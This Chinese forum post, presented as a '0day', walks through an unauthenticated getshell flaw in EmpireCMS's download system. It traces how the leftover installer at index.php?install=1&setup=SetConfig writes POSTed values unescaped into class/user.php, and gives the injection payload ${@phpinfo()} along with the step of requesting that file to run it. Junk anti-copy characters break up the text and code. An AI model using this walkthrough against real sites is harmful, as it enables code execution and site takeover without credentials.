帝国万能接口漏洞0day

admin

这是帝国的一套下载系统如图 ps(不需要任何账户和密码，直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口，如图 而这个接口很多人又不会删除，由此他带来了很大的安全隐患，导致直接getshell，下面分析代码 当我们
# S8 C: k8 l3 f- |' ]3 R
& [+ y$ w: @0 a5 J: N

这是帝国的一套下载系统 如图
  Q. v: C: n; e% G" N3 r; aps(不需要任何账户和密码，直接写shell)

( a  [( ^$ p" {- K* F% J4 b

由于很多站是由于下载要整合discuz 等等一些论坛....
- H  g( K* ^0 f" ]' G) |3 d; L

) T5 x- {* e- y3 q) _! E

而帝国他又有一个万能接口，如图

2 X8 l) _% D, j( y
6 U; d9 r0 k' b& U

而这个接口很多人又不会删除，由此他带来了很大的安全隐患，导致直接getshell，下面分析代码
7 O3 k  w- N! s% }
5 ?/ @0 n8 U+ b% R6 s当我们提交的时候，他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)

2. {

3. @include("../class/connect.php");

4. @include("../class/db_sql.php");

5. @include("../class/functions.php");

6. $link=db_connect();

7. $empire=new mysqlquery();

8. if($setup=="SetConfig")

9. {

10. SetUserCOMConfig($_POST);

11. }

12. elseif($setup=="alter")

13. {

14. InstallUserCOM();

15. }

16. elseif($setup=="update")

17. {

18. UpdateUserCOM();

19. }

20. else

21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了，我们继续跟踪
% F% h: ]2 R% h/ C* g
在data/fun.php中的15行
5 _; B. [3 P3 ~2 q! L7 S  {
" X$ Z5 i- ]& V1 o1 G# n1 K! a我们可以看到这个函数

1. function SetUserCOMConfig($add){

2. $filetext=ReadFiletext('data/user.php');

3. if(empty($filetext))

4. {

5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');

6. }

7. $vr=explode(",",ReturnRepUserVar());

8. $count=count($vr);

9. for($i=0;$i<$count;$i++)

10. {

11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);

12. }

13. //写入配置文件

14. $fp=@fopen("../class/user.php","w");

15. if(!$fp)

16. {
; T% H3 D  P- m8 T: L

17. InstallShowMsg(' /class/user.php 文件权限没有设为0777，安装不成功.');

18. }

19. @fputs($fp,$filetext);

20. @fclose($fp);

复制代码

.....//省略若干

这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
, M5 R) T8 P( a& k! G
5 f" A0 l, q+ i他将传进来的变量进行了切割，然后赋给了$filetext
' z) G5 i, s1 \+ z+ i& ^0 E
然后看下面

1. //写入配置文件

2. $fp=@fopen("../class/user.php","w");

3. if(!$fp)

4. {

5. InstallShowMsg(' /class/user.php 文件权限没有设为0777，安装不成功.');

6. }

7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件，然后将$filetext写入了
' x) P1 p5 O" G2 [3 O! X' z$ Q/ e! d
我们看看写入的结果，随便填一个

$ u  T$ \$ a! P! `' i

' U' \8 C& {; o
& H- q5 U: Z6 E! H, v) `

3 k4 M2 \& }: @
. d$ J8 j; G7 D( Z6 Q( I: Y. g
3 |! t7 N! p1 j7 C* k$ f

" p* E1 e. M1 H5 ~3 n
" |% b9 ^# [; m, c( I
, n1 c* m5 F8 J) v, e9 a( v3 ^

5 t! J) K1 i1 K


6 _7 T7 Y" J3 D: O2 I
. C, I) u* h8 \! Y: X% X

5 k! I# n+ z8 v4 m5 p

所以我们淫荡点，写个${@phpinfo()}试试

6 Q+ C8 g6 j$ v' L, ]1 A

然后访问以下class/user.php这个文件
* t. \8 F7 A& @& J$ o: J% }# R" P2 K日了吧

! J9 R5 ?$ V1 f) z! S, r



$ n# {' W  I  v; K. n
+ w; J+ g; J' {( _